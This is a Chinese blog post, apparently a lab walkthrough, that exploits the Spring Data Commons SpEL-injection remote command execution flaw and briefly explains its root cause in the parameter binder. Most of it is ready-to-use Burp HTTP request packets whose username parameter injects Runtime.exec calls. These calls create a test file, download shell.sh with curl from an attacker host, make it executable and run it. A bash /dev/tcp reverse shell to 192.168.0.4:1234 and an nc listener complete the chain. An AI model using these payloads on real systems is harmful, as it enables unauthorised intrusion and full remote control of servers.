Spring Data Commons 远程命令执行漏洞


前言

Spring:

Spring是一个开源框架,它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益。

Spring的开发初衷:

1、JAVA EE开发应该更加简单。

2、使用接口而不是使用类,是更好的编程习惯。Spring将使用接口的复杂度几乎降低到了零。

3、为JavaBean提供了一个更好的应用配置框架。

4、更多地强调面向对象的设计,而不是现行的技术如JAVA EE。

5、尽量减少不必要的异常捕捉。

6、使应用程序更加容易测试。

Spring的7个模块

1、核心容器:核心容器提供 Spring框架的基本功能。核心容器的主要组件是
BeanFactory,它是工厂模式的实现。BeanFactory 使用控制反转 (IOC)
模式将应用程序的配置和依赖性规范与实际的应用程序代码分开。

2、Spring 上下文:Spring 上下文是一个配置文件,向 Spring框架提供上下文信息。Spring 上下文包括企业服务,例如
JNDI、EJB、电子邮件、国际化、校验和调度功能。

3、Spring AOP:通过配置管理特性,Spring AOP 模块直接将面向方面的编程功能集成到了
Spring框架中。所以,可以很容易地使 Spring框架管理的任何对象支持 AOP。Spring AOP 模块为基于 Spring
的应用程序中的对象提供了事务管理服务。通过使用 Spring AOP,不用依赖 EJB 组件,就可以将声明性事务管理集成到应用程序中。

4、Spring DAO:JDBC DAO
抽象层提供了有意义的异常层次结构,可用该结构来管理异常处理和不同数据库供应商抛出的错误消息。异常层次结构简化了错误处理,并且极大地降低了需要编写的异常代码数量(例如打开和关闭连接)。Spring
DAO 的面向 JDBC 的异常遵从通用的 DAO 异常层次结构。

5、Spring ORM:Spring框架插入了若干个 ORM 框架,从而提供了 ORM 的对象关系工具,其中包括
JDO、Hibernate 和 iBatis SQL Map。所有这些都遵从 Spring 的通用事务和 DAO 异常层次结构。

6、Spring Web 模块:Web 上下文模块建立在应用程序上下文模块之上,为基于 Web
的应用程序提供了上下文。所以,Spring框架支持与 Jakarta Struts 的集成。Web
模块还简化了处理多部分请求以及将请求参数绑定到域对象的工作。

7、Spring MVC 框架:MVC 框架是一个全功能的构建 Web 应用程序的 MVC 实现。通过策略接口,MVC
框架变成为高度可配置的,MVC 容纳了大量视图技术,其中包括 JSP、Velocity、Tiles、iText 和 POI。


提示:以下是本篇文章正文内容,仅供参考

一、验证漏洞

使用touch /tmp/success命令对漏洞进行验证

touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。

此处通过touchu \tmp\success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令.

二、使用步骤

1.打开burp,切换到repeater模块

设置好要发送数据包的端口及IP
构造数据包如下(需根据实际情况改动):

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.0.2:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

2.漏洞验证

打开靶机链接

docker exec -it [容器ID] /bin/bash
cd /tmp/
ls

可看到在/tmp/路径下,已成功创建的success文件,说明漏洞利用成功


三、反弹shell

1.准备脚本

新建shell.sh文件
写入反弹shell命令

bash -i >& /dev/tcp/192.168.0.4/1234 0>&1

保存

linux的反弹shell的实现
bash -i >& /dev/tcp/192.168.0.4/1234 0>&1
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
还有就是>&这个符号的含义,最好的理解是这样的:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
bash -i代表在本地打开一个bash,/dev/tcp/是Linux中的一个特殊文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,以此建立交互式shell.

2.本地建立HTTP服务

在该文件目录下起命令行,输入

python3 -m http.server 9999

3.漏洞利用

进入burp repeater模块
发送数据包,让漏洞服务器下载sh文件

burp构造数据包请求如下:

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.0.2:8080
Connection: keep-alive
Content-Length: 160
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/shell.sh http://192.168.0.4:9999/shell.sh")]=&password=&repeatedPassword=

此时python服务成功接收到请求

4.发送赋权命令

构造请求如下

Host: 192.168.0.2:8080
Connection: keep-alive
Content-Length: 129
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 /tmp/shell.sh")]=&password=&repeatedPassword=aa
#777为读写执行权限

5.开启监听

打开一个新的终端,输入命令:

nc -lvp 1234

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。

继续在burp发送sh执行命令
构造请求包如下

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.0.2:8080
Connection: keep-alive
Content-Length: 129
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/shell.sh")]=&password=&repeatedPassword=

此时监听端口接收到反弹shell

总结

SpringMVC在解析参数这个部分

SpringDataWebConfiguration 类的特性被启用的时候,会将
ProxyingHandlerMethodArgumentResolver 注册到容器中去

当SpringMVC得到一个请求的时候,会遍历容器中注册的 HandlerMethodArgumentResolver
调用他们的supportsParameter方法。由于我们的参数是一个Interface(接口),那么
ProxyingHandlerMethodArgumentResolver 就会告诉调用方,它支持这个参数的解析即
supportsParameter
会返回true,但在实际中还会有多个判断比如该接口不能是java包下的,也不能是org.springframework包下的

ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法,会连带进行doBind操作,最终会调用到
setPropertyValue 方法来,最后在 expression.setValue(context, value) 的时候触发了漏洞

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值